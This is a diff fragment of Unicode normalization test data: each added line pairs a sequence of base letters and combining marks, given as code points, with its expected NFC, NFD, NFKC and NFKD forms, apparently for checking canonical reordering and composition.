+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0303, 0x0062], NFC: [0x00E0, 0x05AE, 0x0303, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0303, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0303, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0303, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0303, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E3, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0303, 0x0300, 0x0315, 0x0062], NFKC: [0x00E3, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0303, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0304, 0x0062], NFC: [0x00E0, 0x05AE, 0x0304, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0304, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0304, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0304, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0304, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0101, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0304, 0x0300, 0x0315, 0x0062], NFKC: [0x0101, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0304, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0305, 0x0062], NFC: [0x00E0, 0x05AE, 0x0305, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0305, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0305, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0305, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0305, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0306, 0x0062], NFC: [0x00E0, 0x05AE, 0x0306, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0306, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0306, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0306, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0306, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EB1, 0x05AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0306, 0x0300, 0x0315, 0x0062], NFKC: [0x1EB1, 0x05AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0306, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0307, 0x0062], NFC: [0x00E0, 0x05AE, 0x0307, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0307, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0307, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0307, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0307, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0227, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0307, 0x0300, 0x0315, 0x0062], NFKC: [0x0227, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0307, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0308, 0x0062], NFC: [0x00E0, 0x05AE, 0x0308, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0308, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0308, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E4, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0308, 0x0300, 0x0315, 0x0062], NFKC: [0x00E4, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0308, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0309, 0x0062], NFC: [0x00E0, 0x05AE, 0x0309, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0309, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0309, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0309, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0309, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EA3, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0309, 0x0300, 0x0315, 0x0062], NFKC: [0x1EA3, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0309, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030A, 0x0062], NFC: [0x00E0, 0x05AE, 0x030A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E5, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030A, 0x0300, 0x0315, 0x0062], NFKC: [0x00E5, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030B, 0x0062], NFC: [0x00E0, 0x05AE, 0x030B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030C, 0x0062], NFC: [0x00E0, 0x05AE, 0x030C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x01CE, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030C, 0x0300, 0x0315, 0x0062], NFKC: [0x01CE, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030D, 0x0062], NFC: [0x00E0, 0x05AE, 0x030D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030E, 0x0062], NFC: [0x00E0, 0x05AE, 0x030E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030F, 0x0062], NFC: [0x00E0, 0x05AE, 0x030F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0201, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030F, 0x0300, 0x0315, 0x0062], NFKC: [0x0201, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0310, 0x0062], NFC: [0x00E0, 0x05AE, 0x0310, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0310, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0310, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0310, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0310, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0311, 0x0062], NFC: [0x00E0, 0x05AE, 0x0311, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0311, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0311, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0311, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0311, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0203, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0311, 0x0300, 0x0315, 0x0062], NFKC: [0x0203, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0311, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0312, 0x0062], NFC: [0x00E0, 0x05AE, 0x0312, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0312, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0312, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0312, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0312, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0313, 0x0062], NFC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0313, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0314, 0x0062], NFC: [0x00E0, 0x05AE, 0x0314, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0314, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0314, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0314, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0314, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x0315, 0x0062], NFC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0315, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0316, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0316, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0317, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0317, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0318, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0318, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0319, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0319, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x031A, 0x0062], NFC: [0x00E0, 0x0315, 0x031A, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x031A, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x031A, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x031A, 0x035C, 0x0062] },
+{ source: [0x0061, 0x031A, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x031A, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x031A, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x031A, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x031A, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x031B, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x031B, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0320, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0320, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0321, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0321, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0322, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0322, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0323, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0323, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x1EA1, 0x302A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0323, 0x0316, 0x059A, 0x0062], NFKC: [0x1EA1, 0x302A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0323, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0324, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0324, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0325, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0325, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x1E01, 0x302A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0325, 0x0316, 0x059A, 0x0062], NFKC: [0x1E01, 0x302A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0325, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0326, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0326, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0327, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062] },
